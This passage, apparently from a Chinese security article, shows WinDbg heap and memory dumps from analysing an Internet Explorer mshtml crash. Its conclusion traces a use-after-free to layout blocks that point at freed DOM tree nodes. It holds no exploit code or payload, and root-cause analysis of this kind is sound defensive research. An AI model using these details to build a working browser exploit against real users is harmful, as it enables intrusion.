dc 0be77fc80be77fc8  3dc39174 00000004 00264099 0b976fc0  t..=.....@&..o..0be77fd8  00000000 09398fc8 0a5b5fa0 0be77fc8  ......9.._[.....0be77fe8  00000000 0bf4cfd8 ffffffff ffffffff  ................0be77ff8  0a5b3f10 00000000 ???????? ????????  .?[.....????????0be78008  ???????? ???????? ???????? ????????  ????????????????0be78018  ???????? ???????? ???????? ????????  ????????????????0be78028  ???????? ???????? ???????? ????????  ????????????????0be78038  ???????? ???????? ???????? ????????  ????????????????  0:008> .formats 00264099Evaluate expression:  Hex:     00264099  Decimal: 2506905  Octal:   00011440231  Binary:  00000000 00100110 01000000 10011001  Chars:   .&@.  Time:    Fri Jan 30 08:21:45 1970  Float:   low 3.51292e-039 high 0  Double:  1.23858e-317 0:008> !heap -p -a 0be77fc8    address 0be77fc8 found in    _DPH_HEAP_ROOT @ 141000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 a50a7d8:          be77fc8               38 -          be77000             2000          mshtml!CBlockContainerBlock::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    3dc07ed7 mshtml!TSmartPointer<CBlockContainerBlock>::Create<enum BLOCKTYPE,CLayoutBlock *,CTreePos const *,int,bool,bool,bool,bool>+0x0000002b    3dbfa192 mshtml!CLayoutBlock::UpdateLayoutBlock+0x00000283    3dbf8149 mshtml!CLayoutBlock::BuildBlock+0x0000011a    3dbf6564 mshtml!CBlockContainerBlock::BuildBlockContainer+0x000004bb    3dbf81b7 mshtml!CLayoutBlock::BuildBlock+0x000001c1    3dbf6564 mshtml!CBlockContainerBlock::BuildBlockContainer+0x000004bb    3dbf81b7 mshtml!CLayoutBlock::BuildBlock+0x000001c1    3dbfb91e mshtml!CCssDocumentLayout::GetPage+0x0000022a    3dbfb7ce mshtml!CCssPageLayout::CalcSizeVirtual+0x00000254    3db3b947 mshtml!CLayout::CalcSize+0x000002b8    3dac2cbd mshtml!CView::EnsureSize+0x000000da    3db5e20a mshtml!CView::EnsureView+0x00000340    3db6a2c8 mshtml!CView::EnsureViewCallback+0x000000d2    3db6a039 mshtml!GlobalWndOnMethodCall+0x000000fb3db54d28 mshtml!GlobalWndProc+0x00000183 6.2.2  删去childreax=0b976fd8 ebx=02e5d5e8 ecx=0933ff30 edx=02e5d51c esi=0b976fd8 edi=00000000eip=3dd1f50f esp=02e5d4e0 ebp=02e5d528 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040206mshtml!CBlockContainerBlock::BuildBlockContainer+0x4ec:3dd1f50f e8440ff2ff      call    mshtml!CLayoutBlock::RemoveChild (3dc40458)0:008> dc ebp + 802e5d530  0be77fc8 0933ff30 0b976fd8 00000003  ....0.3..o......02e5d540  00000000 00e5d5e8 00000000 00000009  ................02e5d550  0933ff30 3dc3932b 00000009 00000000  0.3.+..=........02e5d560  02e5d624 3dbfb91e 0933ff30 00000000  $......=0.3.....02e5d570  09398fc8 00000009 00000009 00000000  ..9.............02e5d580  02e5d900 02e5d600 00000003 00000000  ................02e5d590  00000000 02e5d5ec 02e5d5e8 02e5d618  ................02e5d5a0  00000000 02e5d998 07e97fa8 00000001  ................0:008> dc 0be77fc80be77fc8  3dc39174 00000004 00264099 0b976fc0  t..=.....@&..o..0be77fd8  00000000 09398fc8 0a5b5fa0 0be77fc8  ......9.._[.....0be77fe8  00000000 0bf4cfd8 ffffffff ffffffff  ................0be77ff8  0a5b3f10 00000000 ???????? ????????  .?[.....????????0be78008  ???????? ???????? ???????? ????????  ????????????????0be78018  ???????? ???????? ???????? ????????  ????????????????0be78028  ???????? ???????? ???????? ????????  ????????????????0be78038  ???????? ???????? ???????? ????????  ????????????????  dc ebp - 0c02e5d51c  0e99dfa0 037b6fa0 00976fc0 02e5d560  .....o{..o..`...02e5d52c  3dbf81b7 0be77fc8 0933ff30 0b976fd8  ...=....0.3..o..02e5d53c  00000003 00000000 00e5d5e8 00000000  ................02e5d54c  00000009 0933ff30 3dc3932b 00000009  ....0.3.+..=....02e5d55c  00000000 02e5d624 3dbfb91e 0933ff30  ....$......=0.3.02e5d56c  00000000 09398fc8 00000009 00000009  ......9.........02e5d57c  00000000 02e5d900 02e5d600 00000003  ................02e5d58c  00000000 00000000 02e5d5ec 02e5d5e8  ................0:008> !heap -p -a 0e99dfa0    address 0e99dfa0 found in    _DPH_HEAP_ROOT @ 141000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 aa772a0:          e99dfa0               5c -          e99d000             2000          mshtml!CTextBlock::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    3dc2aed5 mshtml!TSmartPointer<CTextBlock>::Create<enum BLOCKTYPE,CLayoutBlock *,CTreePos const *,int,bool,bool,bool>+0x0000002b    3dc2ae9a mshtml!CLayoutBlock::UpdateLayoutBlock+0x000002dd    3dbf8149 mshtml!CLayoutBlock::BuildBlock+0x0000011a    3dbf6564 mshtml!CBlockContainerBlock::BuildBlockContainer+0x000004bb    3dbf81b7 mshtml!CLayoutBlock::BuildBlock+0x000001c1    3dbfb91e mshtml!CCssDocumentLayout::GetPage+0x0000022a    3dbfb7ce mshtml!CCssPageLayout::CalcSizeVirtual+0x00000254    3db3b947 mshtml!CLayout::CalcSize+0x000002b8    3db4e4ee mshtml!CLayout::DoLayout+0x0000011d    3dd1d0c0 mshtml!CCssPageLayout::Notify+0x00000140    3db28c8d mshtml!NotifyElement+0x00000041    3db28e57 mshtml!NotifyAncestors+0x000001b6    3db26e02 mshtml!CMarkup::SendNotification+0x00000092    3db26d75 mshtml!CMarkup::Notify+0x000000d4    3db31efa mshtml!CElement::SendNotification+0x0000004a  0:008> dc 0e99dfa00e99dfa0  3dc39180 00000002 00a64497 0c2abfc0  ...=.....D....*.0e99dfb0  0c2abfd8 0be77fc8 00000000 037b6fa0  ..*..........o{.0e99dfc0  00000000 0da8afc0 ffffffff ffffffff  ................0e99dfd0  09bdcf10 00000000 00000000 00000000  ................0e99dfe0  00000000 0b976fb0 0000000d 3db4f0c4  .....o.........=0e99dff0  00000010 00000004 0e99ffc0 d0d0d0d0  ................0e99e000  ???????? ???????? ???????? ????????  ????????????????0e99e010  ???????? ???????? ???????? ????????  ????????????????0:008> dc 0e99ffc00e99ffc0  00000805 00000001 0c2abfc0 0c2abfb0  ..........*...*.0e99ffd0  00000805 00000002 0a9c4fc0 0a9c4fb0  .........O...O..0e99ffe0  00000806 00000003 0a9c4fd8 0a9c4fb0  .........O...O..0e99fff0  00000806 00000004 0c2abfd8 0c2abfb0  ..........*...*.0e9a0000  ???????? ???????? ???????? ????????  ????????????????0e9a0010  ???????? ???????? ???????? ????????  ????????????????0e9a0020  ???????? ???????? ???????? ????????  ????????????????0e9a0030  ???????? ???????? ???????? ????????  ????????????????

 
6.3  结论
为了保证重绘的效率,IE浏览器不会再DOM树有改变时就马上进行重新布局(Layout)。而是等到需要重绘时,才去计算布局。
这样导致在操作DOM树的过程中,CTreeNode节点和CLayoutBlock中包含的信息可能不一致。当需要使用的时候,再去同步。但是IE在某些情况下,会同步出现错误(CTreeNode遍历完成,但是CLayoutBlock没有遍历完),则将导致错误的CLayoutBlock(指向已经释放了得CTreeNode)对象放在布局链表的尾部,当使用这些错误的Layout元素进行重绘时,会访问已经释放了得CTreeNode,最终导致UAF

>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();